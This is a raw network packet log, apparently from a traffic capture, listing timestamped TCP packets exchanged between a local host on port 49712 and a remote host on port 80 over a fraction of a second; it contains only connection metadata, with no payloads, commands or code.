Oct 30, 2024 00:20:16.434947968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434953928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434967995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434982061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434989929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435000896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435015917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435017109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435030937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435045004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435045004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435060024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435075045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435086012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435091972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435106993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435107946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435122967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435137987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435153008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435161114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435174942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435178041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435189962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435205936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435220003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435221910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435236931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435236931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435252905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435267925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435282946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435282946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435297966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435305119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435319901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435333967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435337067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435352087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435368061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435374022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435384035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435398102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435401917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435412884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.435420036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.435447931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.582786083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582808018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582823992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582839012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582854033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582869053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582873106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.582882881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582907915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.582909107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.582954884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583009958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583024025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583056927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583070993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583070993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583090067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583102942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583112955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583117008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583142042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583149910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583170891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583188057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583198071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583213091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583226919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583237886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583240986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583256006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583262920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583271027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583286047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583302975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583303928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583319902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583327055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583348989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583364010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583370924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583381891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583395958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583400965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583410025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583429098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583430052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583442926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583468914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583472967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583487988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583502054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583513021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583515882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583538055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583539009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583551884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583569050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583571911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583581924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583597898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583602905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583621025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583636045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583637953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583648920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583663940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583668947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583679914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583699942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583700895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583715916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583731890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583739042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583754063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583769083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583770990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583785057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583802938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583806992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583821058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583836079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583842993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583863020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583877087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583878040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583913088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583916903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583925962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583955050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583961010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.583971024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.583996058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584007025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584012985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584036112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584045887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584049940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584081888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584089041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584096909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584111929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584142923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584145069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584158897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584181070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584182978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584197998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584213018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584213972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584230900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584244967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584249973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584259033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584275007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584275007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584289074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584304094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584317923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584319115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584340096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584340096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584356070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584368944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584373951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584384918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584398985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584462881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584484100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584501982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584508896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584517002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584528923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584532976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584551096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584562063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584568024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584580898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584594965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584599972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584603071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584614992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584629059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584630013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584644079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584645987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584657907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584676027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584681034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584697008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584714890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584727049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584742069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584754944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584763050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584769011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584784985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584788084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584799051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584814072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584817886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584835052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584850073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584851980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584867001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584883928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584886074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584896088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584911108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584916115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584927082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584942102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584945917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584956884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584970951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.584975958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.584986925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585000992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585005045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585016012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585028887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585030079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585045099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585059881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585071087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585078001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585091114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585095882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585114002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585119963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585129023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585140944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585155010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585165024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585169077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585182905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585190058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585206032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585215092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585221052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585235119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585247993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585256100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585263014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585278988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585282087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585293055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585308075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585309029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585323095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585338116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.585345030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.585369110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.587630987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587677956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587723017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.587742090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587769985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587786913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587802887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587807894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.587821960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587841034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587841988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.587855101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587871075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587876081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.587886095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.587903023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588407993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588448048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588596106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588610888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588624954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588639975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588654995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588676929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588676929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588710070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588741064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588752031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588763952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588778019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588797092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588799953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588814974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588829994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588840961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588844061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588851929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588860989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588867903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588881969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588896036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588903904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588912964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588927984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588943005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588953972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588958979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588968992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.588974953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.588989973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589005947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589019060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589027882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589035034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589059114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589078903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589098930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589114904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589131117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589133978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589165926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589442015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589509010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589524031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589539051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589543104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589570045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589786053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589799881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589814901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589829922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589840889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589844942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589867115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589874029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589883089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589898109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589909077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589912891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589936972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589936972 CET	49712	80	192.168.2.5	185.215.113.16
